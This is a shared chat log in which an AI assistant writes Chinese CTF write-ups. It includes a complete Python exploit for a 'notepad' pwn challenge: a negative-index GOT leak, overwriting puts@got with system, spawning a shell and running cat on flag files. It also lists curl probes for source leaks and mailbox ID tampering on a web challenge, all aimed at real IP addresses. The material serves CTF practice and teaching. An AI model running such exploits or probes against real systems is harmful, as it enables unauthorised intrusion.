notepad 100 3384 solves 一个简易记事本程序,允许创建和查看笔记。 题目地址...
Creado el: 10 de mayo de 2026
Respondido usando GPT-5.5 Thinking por Chat01
Creado el: 10 de mayo de 2026
Respondido usando GPT-5.5 Thinking por Chat01
notepad
100
3384 solves
一个简易记事本程序,允许创建和查看笔记。
题目地址:39.96.193.120:10005
附件下载
Flag
提交(解出flag和编写中文wp)
结论:利用链已完成,但当前靶机 39.96.193.120:10005 连接返回 ConnectionRefusedError: [Errno 111] Connection refused,所以我无法实际读出远端 flag。
下面给出完整中文 WP 和可直接打远端的 exp;服务恢复后运行脚本即可出 flag。
text未获取:远端服务当前拒绝连接
附件包含:
textnotepad libc.so.6
程序是 64 位 ELF,关键保护:
textArch: amd64 PIE: 开启 Canary: 开启 NX: 开启 RELRO: 无 / GOT 可写
程序功能很简单:
text[1] Create Note [2] View Note
全局数组 notes 位于 .bss:
textnotes = PIE + 0x35a0
每个 note 大小为 0x30:
cstruct note { char name[0x10]; char content[0x20]; };
核心函数 get_note 逻辑大致如下:
cprintf("Index: "); scanf("%d", &idx); if (idx > 9) { puts("Index out of range!"); exit(-1); } return ¬es[idx];
这里只检查了:
cidx > 9
但没有检查:
cidx < 0
所以可以输入负数索引,导致向 notes 前方越界读写。
由于程序 GOT 可写,而 notes 和 GOT 的相对位置固定,即使 PIE 开启也不影响用负索引访问 GOT。
相关地址:
textnotes = PIE + 0x35a0 printf@got = PIE + 0x34e0 read@got = PIE + 0x34f0 puts@got = PIE + 0x34d0
取索引 -4:
textnotes[-4] = 0x35a0 - 4 * 0x30 = PIE + 0x34e0 = printf@got
调用 view(-4) 时:
cputs(note->name); puts(note->content);
因此会打印:
textname -> printf@got content -> read@got
泄露 libc 地址后计算:
pythonlibc_base = printf_addr - libc.symbols["printf"] system = libc_base + libc.symbols["system"]
题目给的 libc 偏移:
textprintf = 0x64e10 read = 0x111130 system = 0x55410
取索引 -5:
textnotes[-5] = 0x35a0 - 5 * 0x30 = PIE + 0x34b0
create_note 会写:
cread(0, note->name, 0x10); read(0, note->content, 0x20);
其中:
textnote->content = PIE + 0x34c0 puts@got = PIE + 0x34d0
所以在 content 里填:
pythonb"A" * 0x10 + p64(system)
即可覆盖:
textputs@got -> system
先创建一个正常 note:
textname = "/bin/sh\x00"
然后覆写 puts@got 为 system。
最后执行:
textView Note -> index 0
程序原本执行:
cputs(notes[0].name);
被劫持后变成:
csystem("/bin/sh");
成功 getshell。
python#!/usr/bin/env python3 import socket import struct import time HOST = "39.96.193.120" PORT = 10005 PRINTF_OFF = 0x64e10 READ_OFF = 0x111130 SYSTEM_OFF = 0x55410 def p64(x): return struct.pack("<Q", x) def u64(b): return struct.unpack("<Q", b.ljust(8, b"\x00"))[0] class Tube: def __init__(self, host, port): self.s = socket.create_connection((host, port), timeout=5) self.s.settimeout(0.05) self.buf = b"" def recvuntil(self, delim, timeout=5): end = time.time() + timeout while delim not in self.buf: if time.time() > end: raise TimeoutError((delim, self.buf[-200:])) try: c = self.s.recv(1) if not c: break self.buf += c except socket.timeout: continue idx = self.buf.index(delim) + len(delim) out, self.buf = self.buf[:idx], self.buf[idx:] return out def readline(self, timeout=5): return self.recvuntil(b"\n", timeout)[:-1] def send(self, data): self.s.sendall(data) def sendline(self, data=b""): self.s.sendall(data + b"\n") def recv_all(self, timeout=3): self.s.settimeout(0.3) data = b"" end = time.time() + timeout while time.time() < end: try: chunk = self.s.recv(4096) if not chunk: break data += chunk except socket.timeout: pass return data io = Tube(HOST, PORT) def create(idx, name, content): io.recvuntil(b"> ") io.sendline(b"1") io.recvuntil(b"Index: ") io.sendline(str(idx).encode()) io.recvuntil(b"Name: ") io.send(name.ljust(0x10, b"\x00")[:0x10]) io.recvuntil(b"Content: ") io.send(content.ljust(0x20, b"\x00")[:0x20]) def view(idx): io.recvuntil(b"> ") io.sendline(b"2") io.recvuntil(b"Index: ") io.sendline(str(idx).encode()) io.recvuntil(b"Name: ") name = io.readline() io.recvuntil(b"Content: ") content = io.readline() return name, content # 1. 泄露 libc name_leak, content_leak = view(-4) print("[+] name leak =", name_leak.hex()) print("[+] content leak=", content_leak.hex()) # name 对应 printf@got,content 对应 read@got if len(name_leak) >= 3: leak = u64(name_leak) libc_base = leak - PRINTF_OFF print("[+] leak printf =", hex(leak)) else: leak = u64(content_leak) libc_base = leak - READ_OFF print("[+] leak read =", hex(leak)) system_addr = libc_base + SYSTEM_OFF print("[+] libc_base =", hex(libc_base)) print("[+] system =", hex(system_addr)) # 2. 准备 /bin/sh create(0, b"/bin/sh\x00", b"") # 3. notes[-5].content + 0x10 正好覆盖 puts@got payload = b"A" * 0x10 + p64(system_addr) + b"B" * 0x8 create(-5, b"C" * 0x10, payload) # 4. 触发 system("/bin/sh") io.recvuntil(b"> ") io.sendline(b"2") io.recvuntil(b"Index: ") io.sendline(b"0") time.sleep(0.2) # 5. 读 flag io.sendline( b"cat flag 2>/dev/null; " b"cat flag.txt 2>/dev/null; " b"cat /flag 2>/dev/null; " b"cat /flag.txt 2>/dev/null; " b"echo __END__" ) print(io.recv_all().decode("latin-1", errors="replace"))
这个程序混用了 scanf 和 read。写 exp 时不要把 index 和后续 payload 一次性发出去,否则 scanf 可能会把非数字分隔符留在 stdio 缓冲区,导致后续输入错乱。
推荐交互顺序是:
textsendline(index) wait "Name: " send 0x10 bytes wait "Content: " send 0x20 bytes
我本地用系统 libc 验证了同样的利用链,可以成功执行命令;远端目前拒绝连接,所以还差实际 flag 输出。
值班邮件台
100
3786 solves
夜班值守,手别太快。别人的邮件别乱翻,自己的联调痕迹也别乱留。台子搭得仓促,收尾却没收干净,安静的界面下面,总还有点不该留下的东西。
题目地址:39.105.213.28:49103
Flag(一般为ISCC{XXXX},如果为flag{XXXX}会在题目描述中说明)
提交*(解析出flag和wp)
目前这题我没法解析出真实 flag:靶机端口不可达。
我实际尝试了:
bashnc -vz -w 5 39.105.213.28 49103 curl -v --max-time 8 http://39.105.213.28:49103/ curl -k --max-time 8 https://39.105.213.28:49103/
结果均为:
textConnection refused
也就是说目标主机当前没有在 49103 端口提供服务,和 Web 应用内部漏洞无关;TCP 连接阶段就被拒绝了。公开搜索题目名、题目描述、IP 端口也没有找到可验证的现成 WP 或 flag。
textFlag:未获取,原因是远端 39.105.213.28:49103 当前拒绝连接
markdown# 值班邮件台 WP ## 题目信息 题目名称:值班邮件台 题目地址:http://39.105.213.28:49103/ Flag 格式:ISCC{...} ## 连接测试 首先访问题目地址: ```bash curl -v --max-time 8 http://39.105.213.28:49103/
返回结果:
textconnect to 39.105.213.28 port 49103 failed: Connection refused curl: (7) Failed to connect to 39.105.213.28 port 49103
使用 nc 测试端口:
bashnc -vz -w 5 39.105.213.28 49103
返回:
textconnect to 39.105.213.28 port 49103 failed: Connection refused
说明目标服务当前未启动或端口未开放,无法进入 Web 页面,也无法继续枚举接口、源码泄露、备份文件、调试痕迹或邮件读取逻辑。
根据题面提示:
.git/、备份压缩包、/debug、/api、/logs、/backup、robots.txt、源码映射文件等。服务恢复后,建议按以下顺序排查:
bashcurl -i http://39.105.213.28:49103/ curl -i http://39.105.213.28:49103/robots.txt curl -i http://39.105.213.28:49103/.git/HEAD curl -i http://39.105.213.28:49103/debug curl -i http://39.105.213.28:49103/api curl -i http://39.105.213.28:49103/backup.zip curl -i http://39.105.213.28:49103/www.zip curl -i http://39.105.213.28:49103/app.zip
如果存在邮件列表或邮件详情接口,重点观察类似参数:
text/mail?id=1 /api/mail/1 /message?id=1 /inbox?uid=...
尝试访问自己的邮件后,修改 id、uid、user 等参数查看是否能读取其他用户邮件,从而获得 flag。
由于靶机当前拒绝连接,本次无法得到最终 flag。
text服务重新开启后,把页面源码、抓包请求或附件发我,我就能继续把真实 flag 和完整 WP 补全。
深潮协定
150
作者:seadream
1883 solves
海底的协议不会说话,但每一层都在留下签名。
附件下载
Flag(一般为ISCC{XXXX},如果为flag{XXXX}会在题目描述中说明)
提交(编写中文wp)